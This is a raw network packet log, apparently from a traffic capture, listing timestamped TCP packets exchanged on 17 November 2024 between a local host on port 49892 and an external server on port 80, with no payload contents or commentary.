Nov 17, 2024 10:07:42.195521116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195530891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195533991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195545912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195558071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195563078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195571899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195581913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195590019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195595980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195600986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195610046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195621967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195647955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195697069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195708990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195720911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195749044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195759058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195765972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195766926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195789099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195796013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195796967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195823908 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195858955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195878983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195892096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195905924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195918083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195931911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195934057 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195951939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195959091 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195966005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195979118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.195979118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.195992947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196005106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196005106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196018934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196031094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196038961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196053028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196085930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196099043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196110964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196121931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196147919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196149111 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196161032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196166992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196171999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196186066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196194887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196196079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196208954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196218967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196229935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196232080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196247101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196249008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196259975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196268082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196273088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196280003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196288109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196297884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196309090 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196320057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196331024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196340084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196342945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196360111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196361065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196372986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196387053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196413040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196424961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196444988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196458101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196460962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196470976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196482897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196491003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196506977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196531057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196537018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196543932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196554899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196566105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196578026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196582079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196588993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196609020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196626902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196634054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196645975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196666002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196676016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196676970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196688890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196702957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196713924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196717978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196727991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196748972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196759939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196779966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196790934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196801901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196815014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196818113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196832895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196842909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196846008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196863890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196870089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196877003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196887016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196930885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196949005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196962118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196986914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.196995020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.196999073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197010994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197021008 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197026014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197037935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197047949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197073936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197087049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197098017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197108984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197119951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197124004 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197138071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197148085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197151899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197180033 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197201967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197243929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197256088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197267056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197278023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197289944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197299957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197300911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197329044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197329998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197338104 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197341919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197352886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197365046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197367907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197377920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197379112 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197400093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197402000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197413921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197424889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197433949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197448969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197459936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197468996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197469950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197484016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197499990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197501898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197513103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197521925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197531939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197531939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197546959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197556973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197559118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197570086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197575092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197597027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197623014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197663069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197673082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197683096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197706938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197707891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197726965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197740078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197741985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197752953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197766066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197776079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197776079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197789907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197802067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197803020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197813034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197834969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197844028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197846889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197859049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197870016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197875023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197881937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197901011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197926044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197926998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197942972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197959900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197971106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197974920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.197982073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.197994947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198004961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198005915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198024035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198028088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198041916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198050976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198051929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198065996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198076010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198084116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198096037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198106050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198107958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198118925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198132038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198158979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198158979 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198172092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198194981 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198220968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198311090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198322058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198332071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198348999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198349953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198369026 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198369026 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198383093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198393106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198394060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198405981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198417902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198419094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198430061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198446989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198451042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198461056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198465109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198482990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198493958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198499918 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198506117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198517084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198519945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198529959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198542118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198542118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198569059 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198585987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198596954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198596954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198616982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198627949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198635101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198638916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198652029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198666096 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198672056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198683977 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198684931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198693991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198695898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198707104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198719025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198725939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198730946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198741913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198745966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198766947 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198774099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198785067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198802948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198803902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198827982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198831081 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198839903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198852062 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198864937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198889017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198890924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198904991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198915958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198929071 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198935032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198947906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198954105 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.198960066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.198986053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199008942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199018955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199021101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199033022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199048996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199053049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199059963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199071884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199081898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199095011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199112892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199112892 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199152946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199152946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199165106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199198961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199275970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199286938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199301958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199320078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199331999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199333906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199333906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199342966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199354887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199369907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199382067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199393988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199394941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199408054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199410915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199421883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199433088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199436903 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199448109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199457884 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199472904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199484110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199496031 CET	80	49892	185.215.113.206	192.168.2.6
